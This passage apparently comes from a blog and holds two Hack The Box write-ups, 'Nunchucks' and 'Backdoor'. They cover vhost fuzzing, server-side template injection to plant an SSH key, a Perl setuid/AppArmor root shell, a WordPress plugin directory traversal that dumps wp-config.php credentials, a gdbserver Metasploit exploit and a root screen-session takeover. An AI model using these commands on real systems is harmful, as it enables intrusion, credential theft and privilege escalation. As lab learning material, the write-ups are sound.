Therefore, I decided to try ‘ffuf’ which I’m happy to report found pretty quickly. Initially, I ran it without any filters to identify the file size of the error page. Next, I added the file size to filter out all pages with that file size. As a result, we found the shop virtual host with a file size of 4029. I’m not sure why gobuster didn’t find it. Obviously, I could have just added the store virtual host to my host file as it was a logical assumption but this way I get to use tools. In the past, I’ve either quit or jumped ahead when something didn’t work. This is a bad practice to be avoided as you don’t learn anything.

┌──(kali㉿kali)-[~/HTB/Nunchucks]
└─$ sudo ffuf -u https://10.129.236.104 -H 'HOST: FUZZ.nunchucks.htb' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 30589
ffuf nunchucks

Finally, I added the host to my host file.

┌──(kali㉿kali)-[~/HTB/Nunchucks]
└─$ echo "10.129.236.104 store.nunchucks.htb" | sudo tee -a /etc/hosts
10.129.236.104 store.nunchucks.htb

Going Shopping

I visited the new host in my browser but other than a wholesome background, there wasn’t much going on. There was an option to subscribe to the newsletter but that was about it. I dipped into the page source but couldn’t see much. I also ran ‘whatweb’ again and discovered that this application is also using the Node JS Express framework.

store.nunchucks.htb

The mailing list subscription box piqued my interest as the submitted input was reflected back on the page. I tried some generic XSS payloads but the form appeared to be validating the input. As a result, I headed back to the official walkthrough and the name of the box suddenly made sense.

hacktricks ssti

Nunchucks Server Side Template Injection

SSTI (Server-Side Template Injection) is a type of web application vulnerability that occurs when an attacker is able to inject and execute their own code within a server-side template. This can allow the attacker to access sensitive information or perform unauthorized actions on the web application, potentially compromising the entire system. SSTI attacks often target applications that use templates to dynamically generate web pages, such as those using popular frameworks like Flask or Django. Proper input validation and output encoding can help prevent SSTI vulnerabilities. Below, you can see that injecting the payload of ‘808/2’ resulted in the reflected response containing ‘[email protected]’. The box calculated the sum and returned the answer in its response.

SSTI bob Nunchucks

After confirming the SSTI vulnerability, I found the POST request in Burp and attempted to retrieve the contents of the ‘/etc/passwd’ file. My first attempt wasn’t so successful but it caused the application to error and show the application file paths. This was a good thing because I now had more information about the application.

Burp SSTI Error

Unfortunately, the payload on Hacktricks didn’t work. Once again, I headed to the official walkthrough for answers. Despite getting the working payload, I didn’t find the answers I was looking for. I wanted to know why backslashes had to be added to the payload. Below, you can see the original payload (from Hacktricks) and the one used to complete the exploit. The difference between them is the two backslashes. It seems that the backslash is needed to escape the quotation mark but now I’m wondering why one is outside the quotation mark while the other is inside.

Sorry for the image, medium hates SSTI examples in code blocks.

ssti

Cybersecurity, climbing over one wall and running face-first into another. I’m not looking forward to getting the reverse shell to work.

Nunchucks Foothold

As I suspected, I did not enjoy this part and it made me contemplate what I’m doing with my life. It seems so simple to execute yet everything I tried resulted in an error. Even after intensive google searches and reading everyone else’s walkthroughs, my payload still wouldn’t work. I was escaping the double quotes properly, I was escaping other quotes or replacing them with single quotes. Consequently, I was losing my mind.

Finally, I reset the box. I can’t see how it would have made a difference but the payloads I had previously tried now started working. I followed this guide >>HERE<< to drop an SSH key into Davids’s authorized keys files. The attack chain was using SSTI to cat the ‘/etc/passwd’ file. Identifying David as a user and checking his home directory. Then creating the .ssh directory and echoing my public key into his authozied_keys file. You can use the snippet below and replace the commands with the commands needed for the attack chain.

ssti passwd
SSTI authorized_keys

I was finally able to grab the user key.

┌──(kali㉿kali)-[~/HTB/Nunchucks]
└─$ ssh -i key [email protected]
david@nunchucks:~$ cat user.txt
774▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓c50

Nunchucks Authenticated Enumeration

Once on the box, I downloaded and ran LinPEAS to look for any obvious signs of a privilege escalation path. It found two CVE’s but they were not the intended path to root. However, it did find that Perl had setuid capabilities set. Furthermore, it also identified that a number of backup files were owned by roots but part of the david group.

LinPEAS

We’re now entering into territory beyond my current knowledge level. For that reason, I’m just going to regurgitate the steps from the official walkthrough.

Unfortunately, Perl having ‘setuid’ capabilities set didn’t mean we could elevate our privileges. In fact, attempting to do so resulted in errors that suggested something else was at work. For example, attempting to cat the shadow file with Perl resulted in a permission denied error. According to GTFO bins, this should have allowed us to read the file.

david@nunchucks:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "cat /etc/shadow";'
cat: /etc/shadow: Permission denied

Moreover, running the ‘whoami’ command with Perl tells us we’re root. What’s going on here? Is the system having some split-brain identity crisis and not giving us the privileges of the root user?

david@nunchucks:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
root

From further enumeration, it seems there is an AppArmor profile for Perl which contains a reference to a script in opt.

Perl Script

Privilege Escalation

We can see that the script is owned by root but from peaking inside the script we can see that it is using ‘POSIX::setuid(0);’ so that it runs as root even when a different user runs it. I’m struggling to do the mental acrobatics to work this out. The file is owned by root but can be executed by anybody. However, due to the ‘setuid’ line in the script, it will run with root privileges. This is a clever way of hiding the file from automated tools like LinPEAS and I hate you. Of course, we can’t edit this script to add our own command to it to elevate our privileges.

Nunchucks posix

This next step shows how big of a security hole the SETUID capabilities on the Perl binary are even though it’s restricted with AppArmor. This bug >>HERE<< explains that if a script has a shebang to the binary in question, it doesn’t get given the restrictions imposed by the AppArmour profile. That’s quite a significant bug and we can use it to elevate ourselves to ‘root’ and finally capture the root flag. You can see the exploit below.

david@nunchucks:~$ vim whoops.pl
david@nunchucks:~$ cat whoops.pl
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/bash";
david@nunchucks:~$ chmod +x whoops.pl
david@nunchucks:~$ ./whoops.pl
root@nunchucks:~# cat /root/root.txt
5fc▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓b21

Nunchucks Learnings

I’m glad I’ve finished this box. For me, this box was hard to complete and I wouldn’t have been able to do it without the walkthrough. Admittedly, I almost gave up when trying to get a foothold but persistence eventually paid off. Unfortunately, I still don’t understand what I was doing wrong but I got there in the end. I tend to struggle when getting reverse shells through Burp and it’s something I need to work on.

The privilege escalation hammered home that automated tools won’t always tell you what you need to do. I don’t think I would have worked it out. In fact, I probably would have kept trying GTFO bins but eventually gave up. This box is a great example of thinking outside of the box/binary. It also highlighted how big the gaps in my knowledge are and has left me questioning my own capabilities. Until next time!

Hack The Box – Backdoor

Backdoor is an easy Linux box created by hkabubaker17 on Hack The Back and I’m going to hack it. Hello world, welcome to Haxez where today I will be sneaking in through the backdoor and stealing all the flags. Backdoors used to be a thing and weren’t just a Hollywood cliche put into cheesy hacker films. Backdoors were used by programmers or hackers to access systems or elevate their privileges at a later date.

Backdoor Enumeration

I’m going to try to steer clear of bad jokes and avoid using puns in this write-up. First, I pinged the box to see if it was online and then ran a Nmap scan targeting all ports and checking for service versions. As a result, we can see that port 22 for SSH and port 80 for HTTP were open. Furthermore, we can see that this is likely an ubuntu box running Apache with a WordPress content management system. Finally, we see port 1337 with not a lot of information.

┌──(kali㉿kali)-[~/HTB/Backdoor]
└─$ sudo nmap -sC -sV -p- 10.129.96.68 -oA backdoor
Backdoor Enumeration

Exploring The Backdoor Application

I did a quick netcat connection to port 1337 but didn’t get anything back. For that reason, I’m going to go look at the application instead. As you can see below, it is using WordPress and a default WordPress theme. If we hover over the home link we can see that the domain name for the application is backdoor.htb.

Exploring The Backdoor Application

Adding that name to our host file and specifying the IP address will let us view the application via the domain.

┌──(kali㉿kali)-[~/HTB/Backdoor]
└─$ sudo echo "10.129.96.68 backdoor.htb" | sudo tee -a /etc/hosts

Backdoor WordPress Plugins

I ran an API WPScan against the target and it found a lot of vulnerabilities that we could use to exploit this box. However, none of those vulnerabilities was the intended method of compromising this box. The method of exploiting this box is supposed to be through a plugin called ‘ebook-download’. However, WPScan didn’t identify any plugins. Therefore, I navigated to the ‘/wp-content/plugins’ directory and as shown below it allowed me to list out the contents of the directory and find the vulnerable plugin.

Backdoor WordPress Plugins

Open directory listing feels like I’ve been fighting a robot and managed to damage it enough to see some of its internal circuits. That’s not relevant at all but I just thought I’d tell you. I need to make a retraction here, WPScan did find the plugin and reported the vulnerability but only when using aggressive mode. I didn’t know aggressive mode existed so I still wouldn’t have found it.

WPScan

Ebook-Download Directory Traversal

As WPScan didn’t find this plugin, I’m not sure I would have either. A standard file and directory brute-forcing tool would have found it but I don’t know if I would have seen it as an attack vector. After discovering the plugin, I googled it and found a directory traversal vulnerability. You can find the vulnerability >>HERE<< on Exploit DB. Navigating to the URL will automatically download the WordPress configuration file or you can use wget. From the file, we’re able to identify the database user ‘wordpressuser’ and password ‘MQYBJSaD#DxG6qbm’ I presume we can log in as admin with this password and upload a shell.

┌──(kali㉿kali)-[~]
└─$ wget http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
WP Config File Backdoor

Deeper Down The Rabbit Hole

It wasn’t possible to log in with that password as the ‘Admin’ user. However, we can still enumerate the system with the directory traversal vulnerability. Despite getting this far, I doubt I would have made it any further without a walkthrough. Do you ever watch an IppSec video and contemplate whether you’re smart enough to be a penetration tester? I do. Some of the techniques he uses completely blow my mind. I understand them but I never would have thought of them. The command below uses the directory traversal vulnerability to steal information from all the system processes.

┌──(kali㉿kali)-[~/HTB/Backdoor/pid]
└─$ for i in $(seq 0 1000); do curl http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/$i/cmdline --output - | cut -d'/' -f 8- | sed 's/<script.*//g' > $i; done
Backdoor Processes

Next, we can use the find command to go through all the files bigger than a specific size and cat the output of those files.

┌──(kali㉿kali)-[~/HTB/Backdoor/pid]
└─$ for i in $(find . -type f -size +20c); do cat $i | sed 's/cmdline/\t/g'; done
Back Door Processess Formatted

Try The Backdoor

if I were gonna hack some heavy metal, I’d, uh, work my way back through some low security, and try the back door.

Looking through the process list we can see that ‘gsbserver’ is the service that was listening on port 1337. GDBserver is a program that allows a remote machine to debug another machine’s programs using the GNU Debugger (GDB). It provides a way for developers to debug programs on a target system that may not have enough resources to run the full GDB. GDBserver runs on the target machine and communicates with GDB on the host machine over a network connection. It allows developers to set breakpoints, examine variables, and step through code as if they were running the debugger locally. GDBserver is commonly used in embedded systems and other scenarios where the target system has limited resources or does not have a graphical interface. Metasploit has an exploit module for gdbserver.

Metasploit Backdoor

The exploit completes and we have a shell. From here we can capture the user flag.

meterpreter > shell
Process 21916 created.
Channel 1 created.
ls
user.txt
cat user.txt
c9e▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓9d0

Back To Enumeration

I span up a Python webserver and downloaded LinPEAS onto the target. Below, you can see the output which shows the yellow and red highlighted privilege escalation vectors. It shows 2 CVE’s which I believe to be ‘pkexec’ and ‘polkit’. However, I don’t think these are the intended paths to root. Looking a bit deeper we can see that there is a ‘screen’ session running as run. If we can connect to that then we would be root and own the system.

LinPEAS

Privilege Escalation

This is a fairly trivial privilege escalation provided you found the ‘screen’ process. We can confirm the session by listing out the screen sessions.

user@Backdoor:~$ screen -ls root/                                                                                                                                                           
screen -ls root/
There is a suitable screen on:
1006.root (03/25/23 08:00:29) (Multi, detached)
1 Socket in /run/screen/S-root.

You can then resume the session with the ‘-r’ argument and the name of the session.

user@Backdoor:~$ screen -r root/

Finally, we can now capture the root flag.

root@Backdoor:~# cat root.txt
cat root.txt
256▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓426

Backdoor Lessons

By completing the Backdoor vulnerable Linux box I learnt a few new tricks. First was the WordPress Ebook plugin directory traversal vulnerability. Additionally, I learnt that a lot of WordPress installations have a directory listing in their plugins directory due to a missing index page. The trick to steal the process information to identify what was listening on port 1337 was a great techqniue. Furthermore, I didn’t know GDBServer was a thing. Sure I know about GDB and have used it a few times but I digress. This was a fun box and I learnt some new techniques which I will hopefully retain.